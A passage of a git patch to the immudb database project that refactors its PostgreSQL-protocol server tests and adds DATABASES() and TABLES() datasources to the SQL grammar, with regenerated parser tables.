bs.Server.Srv.PgsqlSrv.GetPort())) + defer func() { + srv.Stop() + }() + + defer os.Remove(".state-") + + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=require user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() @@ -441,59 +699,35 @@ func TestPgsqlServer_SSLNotEnabled(t *testing.T) { } -func _TestPgsqlServer_SimpleQueryAsynch(t *testing.T) { +func TestPgsqlServer_VersionStatement(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - - bs.Start() - defer bs.Stop() - - defer os.Remove(".state-") - - bs.WaitForPgsqlListener() - - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) - require.NoError(t, err) - - table := getRandomTableName() - result, err := db.Exec(fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)", table)) - require.NoError(t, err) - require.NotNil(t, result) - _, err = db.Exec(fmt.Sprintf("UPSERT INTO %s (id, amount, title) VALUES (1, 200, 'title 1')", table)) - require.NoError(t, err) + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - var wg sync.WaitGroup - for i := 0; i < 10; i++ { - wg.Add(1) - go func(c int) { - defer wg.Done() - var title string - var id int64 - var amount int64 - err = db.QueryRow(fmt.Sprintf("SELECT id, amount, title FROM %s", table)).Scan(&id, &amount, &title) - require.NoError(t, err) + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) - }(i) + err := srv.Initialize() + if err != nil { + panic(err) } - wg.Wait() -} + go func() { + srv.Start() + }() -func TestPgsqlServer_VersionStatement(t *testing.T) { - td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - - bs.Start() - defer bs.Stop() + defer func() { + srv.Stop() + }() defer os.Remove(".state-") - bs.WaitForPgsqlListener() - - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) var version string @@ -504,17 +738,33 @@ func TestPgsqlServer_VersionStatement(t *testing.T) { func TestPgsqlServerSetStatement(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } - bs.WaitForPgsqlListener() + go func() { + srv.Start() + }() + + defer func() { + srv.Stop() + }() + + defer os.Remove(".state-") - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) _, err = db.Query("SET test=val") @@ -523,17 +773,33 @@ func TestPgsqlServerSetStatement(t *testing.T) { func TestPgsqlServer_SimpleQueryNilValues(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } - bs.WaitForPgsqlListener() + go func() { + srv.Start() + }() - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + defer func() { + srv.Stop() + }() + + defer os.Remove(".state-") + + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() @@ -561,17 +827,33 @@ func getRandomTableName() string { func TestPgsqlServer_ExtendedQueryPG(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } + + go func() { + srv.Start() + }() - bs.WaitForPgsqlListener() + defer func() { + srv.Stop() + }() - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + defer os.Remove(".state-") + + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() @@ -591,17 +873,33 @@ func TestPgsqlServer_ExtendedQueryPG(t *testing.T) { func TestPgsqlServer_ExtendedQueryPGxNamedStatements(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } + + go func() { + srv.Start() + }() - bs.WaitForPgsqlListener() + defer func() { + srv.Stop() + }() - db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + defer os.Remove(".state-") + + db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) //db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=5432 sslmode=disable user=postgres dbname=postgres password=postgres")) require.NoError(t, err) @@ -624,17 +922,33 @@ func TestPgsqlServer_ExtendedQueryPGxNamedStatements(t *testing.T) { func TestPgsqlServer_ExtendedQueryPGxMultiFieldsPreparedStatements(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) - bs.WaitForPgsqlListener() + err := srv.Initialize() + if err != nil { + panic(err) + } + + go func() { + srv.Start() + }() - db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + defer func() { + srv.Stop() + }() + + defer os.Remove(".state-") + + db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) defer db.Close(context.Background()) @@ -667,17 +981,33 @@ func TestPgsqlServer_ExtendedQueryPGxMultiFieldsPreparedStatements(t *testing.T) func TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedStatements(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } - bs.WaitForPgsqlListener() + go func() { + srv.Start() + }() - db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + defer func() { + srv.Stop() + }() + + defer os.Remove(".state-") + + db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() @@ -708,17 +1038,33 @@ func TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedStatements(t *testing.T) func TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedInsert(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } - bs.WaitForPgsqlListener() + go func() { + srv.Start() + }() - db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + defer func() { + srv.Stop() + }() + + defer os.Remove(".state-") + + db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() @@ -727,10 +1073,10 @@ func TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedInsert(t *testing.T) { require.NotNil(t, result) binaryContent := []byte("my blob content1") blobContent := hex.EncodeToString(binaryContent) - _, err = db.Exec(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), 1, 1000, 6000, "title 1", fmt.Sprintf("%s", blobContent), true) + _, err = db.Exec(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), 1, 1000, 6000, "title 1", blobContent, true) require.NoError(t, err) blobContent2 := hex.EncodeToString([]byte("my blob content2")) - _, err = db.Exec(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), 2, 2000, 12000, "title 2", fmt.Sprintf("%s", blobContent2), true) + _, err = db.Exec(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), 2, 2000, 12000, "title 2", blobContent2, true) require.NoError(t, err) var id int64 @@ -749,17 +1095,33 @@ func TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedInsert(t *testing.T) { func TestPgsqlServer_ExtendedQueryPGxMultiInsertStatements(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) - bs.WaitForPgsqlListener() + err := srv.Initialize() + if err != nil { + panic(err) + } - db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + go func() { + srv.Start() + }() + + defer func() { + srv.Stop() + }() + + defer os.Remove(".state-") + + db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) //db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=5432 sslmode=disable user=postgres dbname=postgres password=postgres")) require.NoError(t, err) @@ -782,17 +1144,33 @@ func TestPgsqlServer_ExtendedQueryPGxMultiInsertStatements(t *testing.T) { func TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedMultiInsertError(t *testing.T) { td := t.TempDir() - options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) - bs := servertest.NewBufconnServer(options) - bs.Start() - defer bs.Stop() + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) - defer os.Remove(".state-") + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) - bs.WaitForPgsqlListener() + err := srv.Initialize() + if err != nil { + panic(err) + } + + go func() { + srv.Start() + }() + + defer func() { + srv.Stop() + }() + + defer os.Remove(".state-") - db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) + db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() @@ -802,6 +1180,6 @@ func TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedMultiInsertError(t *testi binaryContent := []byte("my blob content1") blobContent2 := hex.EncodeToString([]byte("my blob content2")) blobContent := hex.EncodeToString(binaryContent) - _, err = db.Exec(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?); INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table, table), 1, 1000, 6000, "title 1", fmt.Sprintf("%s", blobContent), true, 2, 2000, 12000, "title 2", fmt.Sprintf("%s", blobContent2), true) + _, err = db.Exec(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?); INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table, table), 1, 1000, 6000, "title 1", blobContent, true, 2, 2000, 12000, "title 2", blobContent2, true) require.ErrorContains(t, err, errors.ErrMaxStmtNumberExceeded.Error()) } diff --git a/pkg/pgsql/server/query_machine_test.go b/pkg/pgsql/server/query_machine_test.go index 7d6d78925c..15585063c8 100644 --- a/pkg/pgsql/server/query_machine_test.go +++ b/pkg/pgsql/server/query_machine_test.go @@ -321,7 +321,7 @@ func TestSession_QueriesMachine(t *testing.T) { }, out: nil, portals: map[string]*portal{ - "port": &portal{ + "port": { Statement: &statement{ SQLStatement: "test", }, From 85fbfa9ecf9ea96432e6583501d0a87634ea8189 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 27 Oct 2023 15:16:04 +0200 Subject: [PATCH 0906/1062] chore(embedded/sql): continue to support databases and tables datasources Signed-off-by: Jeronimo Irazabal --- embedded/sql/sql_grammar.y | 10 + embedded/sql/sql_parser.go | 433 +++++++++++++++++++------------------ 2 files changed, 233 insertions(+), 210 deletions(-) diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 63b8badca5..c065476f0e 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -640,6 +640,16 @@ ds: $2.(*SelectStmt).as = $4 $$ = $2.(DataSource) } +| + DATABASES '(' ')' opt_as + { + $$ = &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}, as: $4} + } +| + TABLES '(' ')' opt_as + { + $$ = &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}, as: $4} + } | fnCall opt_as { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index c5ec1dc80f..fae40084ee 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -249,109 +249,110 @@ var yyExca = [...]int16{ 1, -1, -2, 0, -1, 83, - 59, 148, - 62, 148, - -2, 136, - -1, 208, - 45, 112, - -2, 107, - -1, 239, - 45, 112, + 59, 150, + 62, 150, + -2, 138, + -1, 210, + 45, 114, -2, 109, + -1, 243, + 45, 114, + -2, 111, } const yyPrivate = 57344 -const yyLast = 411 +const yyLast = 419 var yyAct = [...]int16{ - 82, 323, 69, 202, 118, 232, 156, 258, 262, 97, - 162, 153, 191, 238, 110, 257, 6, 192, 173, 51, - 88, 113, 294, 249, 200, 248, 226, 200, 20, 305, - 200, 200, 299, 200, 279, 277, 298, 81, 250, 227, - 295, 201, 263, 289, 85, 280, 278, 87, 243, 225, - 223, 100, 96, 166, 19, 215, 214, 98, 99, 264, - 22, 199, 101, 68, 91, 92, 93, 94, 95, 70, - 164, 259, 222, 219, 86, 145, 175, 122, 146, 90, + 82, 331, 69, 204, 118, 236, 156, 264, 268, 97, + 162, 153, 193, 242, 110, 263, 6, 194, 175, 51, + 88, 113, 302, 313, 165, 166, 202, 255, 20, 254, + 230, 168, 202, 202, 307, 202, 306, 81, 287, 303, + 285, 256, 202, 231, 85, 297, 288, 87, 164, 22, + 203, 100, 96, 269, 19, 286, 250, 98, 99, 249, + 247, 229, 101, 68, 91, 92, 93, 94, 95, 70, + 270, 284, 227, 219, 86, 218, 201, 122, 265, 90, 115, 85, 129, 136, 87, 145, 140, 141, 100, 96, - 144, 143, 142, 124, 98, 99, 121, 109, 108, 101, - 322, 91, 92, 93, 94, 95, 70, 130, 131, 133, - 132, 86, 158, 136, 283, 316, 90, 136, 282, 226, - 216, 155, 111, 200, 170, 136, 165, 159, 134, 135, - 117, 177, 178, 179, 180, 181, 182, 135, 167, 133, - 132, 130, 131, 133, 132, 190, 193, 71, 189, 130, - 131, 133, 132, 122, 70, 71, 71, 104, 194, 188, - 66, 160, 207, 70, 276, 275, 205, 195, 169, 208, - 212, 85, 213, 254, 87, 80, 245, 217, 100, 96, - 282, 210, 206, 209, 98, 99, 221, 218, 187, 101, - 120, 91, 92, 93, 94, 95, 70, 29, 30, 71, - 154, 86, 270, 256, 234, 56, 90, 230, 114, 236, - 198, 119, 197, 196, 242, 174, 176, 171, 168, 147, - 125, 103, 74, 193, 224, 72, 174, 255, 38, 58, - 102, 251, 136, 55, 261, 246, 50, 161, 136, 252, - 253, 241, 265, 134, 135, 40, 41, 260, 269, 134, - 135, 211, 266, 267, 127, 128, 130, 131, 133, 132, - 193, 57, 130, 131, 133, 132, 28, 20, 139, 293, - 220, 292, 284, 123, 274, 184, 285, 138, 165, 288, - 290, 273, 183, 136, 20, 185, 73, 46, 186, 64, - 296, 39, 308, 19, 304, 303, 324, 325, 233, 203, - 45, 315, 309, 302, 287, 311, 10, 12, 11, 111, - 19, 314, 301, 317, 268, 116, 36, 43, 320, 321, - 318, 313, 306, 13, 163, 326, 47, 48, 327, 297, - 7, 62, 8, 9, 14, 15, 231, 35, 16, 17, - 229, 34, 37, 23, 20, 271, 149, 150, 151, 148, - 76, 107, 228, 2, 24, 312, 235, 126, 75, 59, - 60, 61, 204, 49, 25, 27, 26, 33, 105, 106, - 19, 31, 244, 32, 79, 78, 44, 53, 54, 157, - 21, 281, 112, 137, 272, 291, 307, 319, 247, 286, - 84, 83, 300, 240, 239, 237, 77, 52, 63, 42, - 67, 65, 89, 310, 152, 172, 18, 5, 4, 3, - 1, + 226, 143, 223, 145, 98, 99, 215, 214, 177, 101, + 146, 91, 92, 93, 94, 95, 70, 130, 131, 133, + 132, 86, 158, 136, 144, 142, 90, 136, 124, 121, + 109, 155, 108, 330, 172, 136, 167, 159, 134, 135, + 291, 179, 180, 181, 182, 183, 184, 135, 169, 133, + 132, 130, 131, 133, 132, 192, 195, 71, 191, 130, + 131, 133, 132, 111, 70, 71, 324, 122, 196, 190, + 66, 290, 209, 230, 220, 104, 207, 197, 171, 210, + 202, 117, 216, 283, 217, 260, 251, 85, 221, 71, + 87, 212, 208, 211, 100, 96, 70, 71, 225, 222, + 98, 99, 160, 136, 80, 101, 290, 91, 92, 93, + 94, 95, 70, 120, 134, 135, 238, 86, 29, 30, + 189, 240, 90, 56, 154, 276, 246, 130, 131, 133, + 132, 262, 234, 114, 119, 200, 176, 195, 228, 199, + 198, 261, 176, 178, 173, 257, 136, 170, 267, 252, + 147, 125, 103, 258, 259, 74, 271, 134, 135, 102, + 72, 266, 275, 38, 277, 278, 272, 273, 58, 55, + 130, 131, 133, 132, 50, 161, 195, 245, 20, 57, + 139, 40, 41, 127, 128, 213, 282, 28, 292, 138, + 186, 301, 293, 281, 167, 296, 224, 185, 298, 300, + 136, 123, 187, 73, 19, 188, 46, 64, 304, 39, + 332, 333, 312, 311, 316, 237, 205, 323, 20, 310, + 317, 295, 111, 319, 10, 12, 11, 309, 45, 322, + 274, 325, 116, 36, 43, 321, 328, 329, 326, 314, + 163, 13, 305, 334, 19, 62, 335, 235, 7, 233, + 8, 9, 14, 15, 47, 48, 16, 17, 37, 35, + 34, 23, 20, 279, 149, 150, 151, 148, 107, 232, + 2, 24, 320, 239, 126, 59, 60, 61, 76, 75, + 206, 25, 27, 26, 49, 105, 106, 31, 19, 32, + 33, 248, 21, 44, 79, 78, 53, 54, 157, 289, + 112, 137, 280, 299, 315, 327, 253, 294, 84, 83, + 308, 244, 243, 241, 77, 52, 63, 42, 67, 65, + 89, 318, 152, 174, 18, 5, 4, 3, 1, } var yyPact = [...]int16{ - 302, -1000, -1000, -32, -1000, -1000, -1000, 314, -1000, -1000, - 347, 190, 354, 350, 307, 303, 272, 152, 235, 176, - 274, -1000, 302, -1000, 227, 227, 227, 344, -1000, 160, - 367, 157, 185, 153, 152, 152, 152, 293, -1000, 232, - -1000, -1000, 71, -1000, -1000, 149, 228, 146, 338, 227, - -1000, -1000, 362, 23, 23, -1000, 145, 72, 346, 5, - 4, 262, 132, 225, -1000, 271, -1000, 44, 135, -1000, - 3, 68, -1000, 212, 0, 144, 337, -1000, 23, 23, - -1000, 113, 175, 210, -1000, 113, 113, -1, -1000, -1000, - 113, -1000, -1000, -1000, -1000, -1000, -3, -1000, -1000, -1000, - -1000, -8, -1000, -15, 143, 324, 322, 323, 124, 124, - 373, 113, 75, -1000, 162, -1000, -23, 80, -1000, -1000, - 142, 79, 141, -1000, 139, -17, 140, -1000, -1000, 175, - 113, 113, 113, 113, 113, 113, 217, 226, 111, -1000, - 62, 50, 225, 54, 113, 113, 124, -1000, 139, 137, - 136, 134, -33, 37, -1000, -53, 249, 343, 175, 373, - 132, 113, 373, 367, 242, 135, -18, 135, -1000, -38, - -39, -1000, 34, -1000, 100, 124, -20, 50, 50, 220, - 220, 62, 20, -1000, 205, 113, -21, -1000, -44, -1000, - 169, -45, 33, 175, -55, -1000, -1000, 328, -1000, 305, - 131, 301, 247, 113, 336, 249, -1000, 175, 168, 135, - -46, 357, -1000, -1000, -1000, -1000, 150, -70, -56, 124, - -1000, 62, -14, -1000, 96, -1000, 113, -1000, 127, -22, - -1000, -22, -1000, 113, 175, -34, 247, 262, -1000, 168, - 269, -1000, -1000, 135, 126, 318, -1000, 216, 87, 86, - -1000, -59, -48, -60, -49, 175, -1000, 94, -1000, 113, - 32, 175, -1000, -1000, 124, -1000, 256, -1000, -23, -1000, - -51, -34, 207, -1000, 204, -74, -54, -1000, -1000, -1000, - -1000, -1000, -22, 290, -58, -62, 266, 254, 373, 135, - -65, -1000, -1000, -1000, -1000, -1000, -1000, 282, -1000, -1000, - 240, 113, 123, 335, -1000, -1000, 280, 249, 252, 175, - 29, -1000, 113, -1000, 247, 123, 123, 175, -1000, 14, - 243, -1000, 123, -1000, -1000, -1000, 243, -1000, + 310, -1000, -1000, -43, -1000, -1000, -1000, 322, -1000, -1000, + 354, 201, 360, 363, 316, 315, 279, 177, 243, 202, + 281, -1000, 310, -1000, 236, 236, 236, 355, -1000, 188, + 376, 183, 193, 182, 177, 177, 177, 297, -1000, 240, + -1000, -1000, 71, -1000, -1000, 174, 235, 169, 349, 236, + -1000, -1000, 372, 23, 23, -1000, 166, 80, 353, 29, + 27, 265, 147, 226, -1000, 278, -1000, 85, 148, -1000, + 26, 72, -1000, 230, 25, 165, 344, -1000, 23, 23, + -1000, 119, 130, 212, -1000, 119, 119, 22, -1000, -1000, + 119, -1000, -1000, -1000, -1000, -1000, 21, -1000, -1000, -1000, + -1000, -8, -1000, 7, 164, 332, 330, 331, 138, 138, + 382, 119, 106, -1000, 190, -1000, -45, 103, -1000, -1000, + 161, 79, 158, -1000, 156, 5, 157, -1000, -1000, 130, + 119, 119, 119, 119, 119, 119, 222, 233, 133, -1000, + 62, 50, 226, 54, 119, 119, 138, -1000, 156, 154, + 153, 149, -18, 84, -1000, -44, 256, 351, 130, 382, + 147, 119, 382, 376, 266, 4, 3, 148, 0, 148, + -1000, -19, -21, -1000, 78, -1000, 101, 138, -1, 50, + 50, 227, 227, 62, 20, -1000, 221, 119, -3, -1000, + -22, -1000, 173, -33, 77, 130, -51, -1000, -1000, 335, + -1000, 304, 146, 302, 254, 119, 343, 256, -1000, 130, + 194, 148, -34, 366, -35, -38, -1000, -1000, -1000, -1000, + 150, -66, -53, 138, -1000, 62, -14, -1000, 98, -1000, + 119, -1000, 145, -15, -1000, -15, -1000, 119, 130, -23, + 254, 265, -1000, 194, 275, -1000, -1000, 148, 139, 148, + 148, 326, -1000, 218, 95, -7, -1000, -54, -39, -56, + -48, 130, -1000, 110, -1000, 119, 75, 130, -1000, -1000, + 138, -1000, 263, -1000, -45, -1000, -49, -1000, -1000, -23, + 225, -1000, 216, -74, -55, -1000, -1000, -1000, -1000, -1000, + -15, 293, -58, -60, 271, 260, 382, 148, -71, -1000, + -1000, -1000, -1000, -1000, -1000, 289, -1000, -1000, 252, 119, + 111, 342, -1000, -1000, 284, 256, 258, 130, 70, -1000, + 119, -1000, 254, 111, 111, 130, -1000, 37, 247, -1000, + 111, -1000, -1000, -1000, 247, -1000, } var yyPgo = [...]int16{ - 0, 410, 353, 409, 408, 407, 16, 406, 405, 18, - 11, 8, 404, 403, 15, 7, 17, 12, 402, 9, - 20, 401, 400, 2, 399, 398, 10, 324, 19, 397, - 396, 175, 395, 13, 394, 393, 0, 14, 392, 391, - 390, 389, 3, 5, 388, 4, 387, 386, 1, 6, - 300, 385, 384, 383, 21, 382, 381, 380, + 0, 418, 360, 417, 416, 415, 16, 414, 413, 18, + 11, 8, 412, 411, 15, 7, 17, 12, 410, 9, + 20, 409, 408, 2, 407, 406, 10, 330, 19, 405, + 404, 194, 403, 13, 402, 401, 0, 14, 400, 399, + 398, 397, 3, 5, 396, 4, 395, 394, 1, 6, + 318, 393, 392, 391, 21, 390, 389, 382, } var yyR1 = [...]int8{ @@ -364,13 +365,13 @@ var yyR1 = [...]int8{ 18, 18, 18, 19, 8, 8, 9, 44, 44, 44, 51, 51, 52, 52, 52, 6, 6, 6, 6, 7, 25, 25, 24, 24, 21, 21, 22, 22, 20, 20, - 20, 23, 23, 26, 26, 26, 26, 27, 28, 29, - 29, 29, 30, 30, 30, 31, 31, 32, 32, 33, - 33, 34, 35, 35, 37, 37, 41, 41, 38, 38, - 42, 42, 43, 43, 47, 47, 49, 49, 46, 46, - 48, 48, 48, 45, 45, 45, 36, 36, 36, 36, - 36, 36, 36, 36, 39, 39, 39, 39, 53, 53, - 40, 40, 40, 40, 40, 40, 40, 40, + 20, 23, 23, 26, 26, 26, 26, 26, 26, 27, + 28, 29, 29, 29, 30, 30, 30, 31, 31, 32, + 32, 33, 33, 34, 35, 35, 37, 37, 41, 41, + 38, 38, 42, 42, 43, 43, 47, 47, 49, 49, + 46, 46, 48, 48, 48, 45, 45, 45, 36, 36, + 36, 36, 36, 36, 36, 36, 39, 39, 39, 39, + 53, 53, 40, 40, 40, 40, 40, 40, 40, 40, } var yyR2 = [...]int8{ @@ -383,13 +384,13 @@ var yyR2 = [...]int8{ 1, 1, 1, 4, 1, 3, 5, 0, 3, 3, 0, 1, 0, 1, 2, 1, 4, 2, 2, 13, 0, 1, 0, 1, 1, 1, 2, 4, 1, 4, - 4, 1, 3, 3, 4, 2, 6, 1, 2, 0, - 2, 2, 0, 2, 2, 2, 1, 0, 1, 1, - 2, 6, 0, 1, 0, 2, 0, 3, 0, 2, - 0, 2, 0, 2, 0, 3, 0, 4, 2, 4, - 0, 1, 1, 0, 1, 2, 1, 1, 2, 2, - 4, 4, 6, 6, 1, 1, 3, 3, 0, 1, - 3, 3, 3, 3, 3, 3, 3, 4, + 4, 1, 3, 3, 4, 4, 4, 2, 6, 1, + 2, 0, 2, 2, 0, 2, 2, 2, 1, 0, + 